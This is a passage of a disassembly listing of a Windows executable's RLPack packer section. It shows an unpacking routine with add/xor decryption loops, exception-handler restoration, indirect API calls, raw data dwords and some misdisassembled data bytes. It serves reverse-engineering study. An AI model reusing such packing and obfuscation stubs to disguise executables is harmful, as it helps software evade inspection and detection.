		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_43C414
		imul	edx, 12345678h


loc_43C414:				; CODE XREF: sub_43C1BC+250j
		mov	[eax-1], dl
		call	sub_43A3E8
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_43C445
		mov	[ebp+4039AEh], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_43C445:				; CODE XREF: sub_43C1BC+274j
		sub	eax, [ebx+28h]
		push	dword ptr ss:loc_40397E[ebp]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43C46A
		push	edx
		call	sub_43BD90
		pop	edx


loc_43C46A:				; CODE XREF: sub_43C1BC+2A5j
		mov	ecx, [ebp+4039AEh]
		jecxz	short loc_43C475
		mov	[ebx+28h], ecx


loc_43C475:				; CODE XREF: sub_43C1BC+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_43C486
		mov	[edx+8], ecx


loc_43C486:				; CODE XREF: sub_43C1BC+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, dword ptr ss:loc_40397A[ebp]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr [ebp+403431h], 10000000h
		jz	short loc_43C4B7
		add	ecx, [ebp+40106Dh]


loc_43C4B7:				; CODE XREF: sub_43C1BC+2F3j
		mov	dh, 0
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_43C4D9
		inc	dh
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_43C4D9
		mov	dh, [ebp+403430h]


loc_43C4D9:				; CODE XREF: sub_43C1BC+307j
					; sub_43C1BC+315j
		test	dword ptr [ebp+403431h], 4000h
		jnz	short loc_43C4F0


loc_43C4E5:				; CODE XREF: sub_43C1BC+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_43C4E5
		jmp	short loc_43C4F9
; ---------------------------------------------------------------------------


loc_43C4F0:				; CODE XREF: sub_43C1BC+327j
					; sub_43C1BC+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_43C4F0


loc_43C4F9:				; CODE XREF: .RLPack:0043C1B7j
					; sub_43C1BC+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_43C1BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C502	proc near		; CODE XREF: sub_43C1BC+11Cp
		cmp	dword ptr [ebp+403956h], 0
		jz	locret_43C097
		push	dword ptr ss:loc_403972[ebp]
		call	dword ptr ss:loc_4035C4[ebp]


loc_43C51B:				; CODE XREF: sub_43BFC6+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, loc_40395A[ebp]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+4035B8h]


loc_43C543:				; CODE XREF: sub_43BFC6+6Bj
					; sub_43BFC6+82j ...
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+40353Ch]


loc_43C54F:				; CODE XREF: sub_43BFC6+45j
		lea	esi, loc_40384E[ebp]
		push	dword ptr [ebp+403952h]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr [ebp+403956h], 0
		retn
sub_43C502	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h
		dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
		dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	40384EB5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h
		dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h,	3E8h, 24C200h
		dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h
		dd 3413ED81h, 39E80040h, 61FFFFE5h, 60004C2h, 2050301h
		dd 0D94DF307h, 0FF1E5EC5h, 10D815h, 0E8609001h,	0
; ---------------------------------------------------------------------------
		mov	ebp, [esp]
		add	esp, 4
		cmp	dword ptr [esp+28h], 1
		jnz	short loc_43C681
		mov	eax, [esp+24h]
		mov	[ebp+43Ch], eax
		jmp	short loc_43C68D
; ---------------------------------------------------------------------------


loc_43C681:				; CODE XREF: .RLPack:0043C673j
		mov	eax, [ebp+438h]
		mov	[ebp+43Ch], eax


loc_43C68D:				; CODE XREF: .RLPack:0043C67Fj
		lea	esi, [ebp+460h]
		lea	ebx, [ebp+2EBh]
		xor	edi, edi
		call	loc_43C7F2
		jmp	short loc_43C6BD
; ---------------------------------------------------------------------------


loc_43C6A2:				; CODE XREF: .RLPack:0043C6C1j
		mov	eax, [ebp+43Ch]
		push	dword ptr [edi+esi+4]
		add	[esp], eax
		push	dword ptr [edi+esi]
		add	[esp], eax
		call	ebx
		add	esp, 8
		add	edi, 8


loc_43C6BD:				; CODE XREF: .RLPack:0043C6A0j
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_43C6A2
		cmp	dword ptr [ebp+448h], 0
		jz	short loc_43C6DA
		cmp	dword ptr [ebp+44Ch], 0
		jz	short loc_43C6DA
		call	loc_43C892


loc_43C6DA:				; CODE XREF: .RLPack:0043C6CAj
					; .RLPack:0043C6D3j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	0A5h
		push	0
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 1Ch dup(0)
		dd 9B470000h, 8AD7C80h,	3317C83h, 0ADA07C91h, 7C80h, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_43C77D:				; CODE XREF: .RLPack:0043C7F9j
					; .RLPack:0043C7B5j
		add	[esi+247C80BDh], dh
		sbb	al, [eax-7F6BA384h]
		jl	short loc_43C7F2
		and	eax, [eax-7EFBD384h]
		jl	short near ptr loc_43C7C7+3
		push	es
		cmp	dword ptr [edi+ecx+4Bh], 0C0587C86h ; CODE XREF: .RLPack:0043C805j
		cmp	byte ptr [esp+ebp*8-19h], 80h ;	CODE XREF: .RLPack:0043C7BDj
		jl	short near ptr loc_43C7DC+3


loc_43C7A3:				; CODE XREF: .RLPack:0043C811j
		adc	eax, 0A777C81h
		cmp	dword ptr [ebp+eax*2+1Ch], 0B6A17C83h
		cmp	byte ptr [edi+edi*8+8],	86h
		jl	short near ptr loc_43C77D+4
		pop	ebp


loc_43C7B8:				; CODE XREF: .RLPack:0043C7D1j
		cmp	dword ptr [edx+ebx*8+11h], 0FFFFFF81h
		jl	short near ptr loc_43C79C+1
		sub	al, [ecx-7FE28884h]
		jl	short loc_43C7CC


loc_43C7C7:				; CODE XREF: .RLPack:0043C791j
		mov	ecx, 0BB767C80h


loc_43C7CC:				; CODE XREF: .RLPack:0043C7C5j
		cmp	byte ptr [ecx+9], 83h
		jl	short loc_43C7B8
		cmp	eax, 3F587C86h
		xchg	bh, [edx+eax*4+27h]


loc_43C7DC:				; CODE XREF: .RLPack:0043C7A1j
		cmp	dword ptr [eax+edi*4+1Ch], 24427C83h
		cmp	byte ptr [esp+ebx+0Bh],	81h
		jl	short near ptr byte_43C85F
		mov	ecx, 9A517C80h
; ---------------------------------------------------------------------------
		db 80h,	7Ch
; ---------------------------------------------------------------------------


loc_43C7F2:				; CODE XREF: .RLPack:0043C69Bp
					; .RLPack:0043C789j
		xchg	ecx, ds:0D4607C81h
		nop
		jl	short loc_43C77D
		setalc
		nop
		jl	short near ptr byte_43C853
		xlat
		nop
		jl	short near ptr dword_43C86C
		xlat
		nop
		jl	short near ptr loc_43C794+6
		xlat
		nop
		jl	short near ptr dword_43C860
		fcom	qword ptr [eax-6F230284h]
		jl	short loc_43C7A3
		fst	qword ptr [eax-6F214984h]
		jl	short near ptr byte_43C84D
		jmp	far ptr	7C91h:30C67C90h
; ---------------------------------------------------------------------------
		align 4
		dd 0Ah dup(0)
		db 0
byte_43C84D	db 3 dup(0)		; CODE XREF: .RLPack:0043C819j
		db 3 dup(0)
byte_43C853	db 0			; CODE XREF: .RLPack:0043C7FDj
		dd 2 dup(0)
		db 3 dup(0)
byte_43C85F	db 0			; CODE XREF: .RLPack:0043C7E9j
dword_43C860	dd 3 dup(0)	dword_43C86C	dd 2 dup(0)			dd 380036h, 43C87Ch, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h
		db 4Fh,	0
; ---------------------------------------------------------------------------


loc_43C892:				; CODE XREF: .RLPack:0043C6D5p
		bound	eax, [eax]
		push	0
		add	gs:[ebx+0], ah
		jz	short $+2
		jnb	short $+2
		pop	esp
		add	[edi+0], dl
		xor	eax, [eax]
		xor	al, [eax]
		pop	edi
		add	[esi+0], dl
		imul	eax, [eax], 740072h
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0BCh	dup(0)
		dd 91h,	0Ch dup(0)
		dd 0F3h, 1192h dup(0)
		db 2 dup(0)
_RLPack		ends

; Section 3. (virtual address 00042000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00041400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 442000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start